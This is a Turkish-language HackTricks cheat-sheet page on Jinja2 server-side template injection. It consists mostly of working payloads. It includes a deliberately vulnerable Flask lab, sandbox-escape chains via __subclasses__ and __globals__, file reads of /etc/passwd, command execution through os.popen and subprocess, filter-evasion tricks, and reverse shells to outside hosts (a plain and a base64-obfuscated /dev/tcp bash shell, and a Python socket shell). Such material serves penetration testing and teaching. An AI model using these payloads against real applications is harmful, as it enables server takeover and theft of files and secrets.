hacktricks/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md
2024-04-06 19:40:41 +00:00

14 KiB
Raw Blame History

Jinja2 SSTI

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Lab

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"

if __name__ == "__main__":
app.run()

Çeşitli

Hata Ayıklama İfadesi

Hata Ayıklama Eklentisi etkinleştirildiyse, mevcut bağlamı ve kullanılabilir filtreleri ve testleri dökümlemek için bir debug etiketi kullanılabilir hale gelir. Bu, bir hata ayırıcı kurmadan şablon içinde kullanılabilir olanları görmek için faydalıdır.

<pre>

{% raw %}
{% debug %}
{% endraw %}




</pre>

Tüm yapılandırma değişkenlerini dök

{{ config }} #In these object you can find all the configured env variables


{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}


Jinja Enjeksiyonu

İlk olarak, bir Jinja enjeksiyonunda kum havuzundan kaçmak ve düzenli python yürütme akışına erişimi geri kazanmanız gerekir. Bunu yapmak için, kum havuzundan kaçmak için nesneleri kötüye kullanmanız gerekir ki bunlar kum havuzundan erişilebilen kum havuzu dışındaki ortamdan gelen nesnelerdir.

Global Nesnelere Erişim

Örneğin, render_template("hello.html", username=username, email=email) kodunda, username ve email nesneleri kum havuzunun dışındaki python ortamından gelir ve kum havuzunda erişilebilir olacaktır.
Ayrıca, kum havuzundan her zaman erişilebilir olacak diğer nesneler de şunlardır:

[]
''
()
dict
config
request

<class 'object'> Kurtarma

Ardından, bu nesnelerden sınıfa ulaşmamız gerekiyor: <class 'object'> tanımlı sınıfları kurtarmak için. Bu, bu nesneden __subclasses__ yöntemini çağırabilir ve sandbox dışı python ortamından tüm sınıflara erişebiliriz.

Bu nesne sınıfına erişmek için bir sınıf nesnesine erişmeniz ve ardından __base__, __mro__()[-1] veya .mro()[-1]'e erişmeniz gerekmektedir. Ve sonra, bu nesne sınıfına ulaştıktan sonra __subclasses__() yöntemini çağırırız.

Bu örnekleri kontrol edin:

# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class

# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]

# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}

{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}

# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}


# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}

RCE Kaçışı

<class 'object'>'ı kurtardıktan ve __subclasses__'ı çağırdıktan sonra, bu sınıfları kullanarak dosya okuma, yazma ve kod yürütme işlemlerini gerçekleştirebiliriz.

__subclasses__'a yapılan çağrı, bize yüzlerce yeni işlevi erişme fırsatı verdi, sadece dosya sınıfına erişerek dosya okuma/yazma veya os gibi komutları yürütme izni veren bir sınıfa erişmekten mutlu olacağız.

Uzak dosya okuma/yazma

# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

Uzaktan Kod Çalıştırma (RCE)

# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

# Without '{{' and '}}'

<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>

# Calling os.popen without guessing the index of the class
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}


## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}

Daha fazla sınıf hakkında bilgi edinmek için kaçış yapabileceğiniz daha fazla sınıfı kontrol edebilirsiniz:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Filtre kaçakları

Yaygın kaçaklar

Bu kaçaklar, bazı karakterleri kullanmadan nesnelerin özelliklerine erişmemizi sağlayacaktır.
Bu kaçaklardan bazılarını zaten önceki örneklerde gördük, ancak burada onları özetleyelim:

# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick

## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params

## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

# Using with

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}


HTML kodlamasından kaçınma

Güvenlik nedenleriyle Flask varsayılan olarak şablon içindeki tüm kodlarını HTML kodlar.

{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;

safe filtresi, sayfaya JavaScript ve HTML enjekte etmemize olanak tanırken bunların HTML kodlanmadan eklenmesini sağlar, şu şekilde:

{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>

Kötü niyetli bir yapılandırma dosyası yazarak Uzaktan Kod Çalıştırma (RCE).

# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}

# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

Birkaç karakter olmadan

{{ . [ ] }} _

{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}


Jinja Enjeksiyonu <class 'object'> Kullanmadan

global nesnelerinden başka bir yol, bu sınıfı kullanmadan RCE'ye ulaşmanızı sağlar.
Eğer bu global nesnelerden herhangi bir fonksiyona ulaşmayı başarırsanız, __globals__.__builtins__'e erişebilecek ve buradan RCE çok kolay olacaktır.

request, config ve erişiminiz olan diğer ilginç global nesnelerden fonksiyonları bulabilirsiniz:

{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed

{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__

# You can iterate through children objects to find more

Bir kez bazı fonksiyonları bulduğunuzda, builtins'i şu şekilde kurtarabilirsiniz:

# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}

# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}

## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}

# All the bypasses seen in the previous sections are also valid

Referanslar

AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları: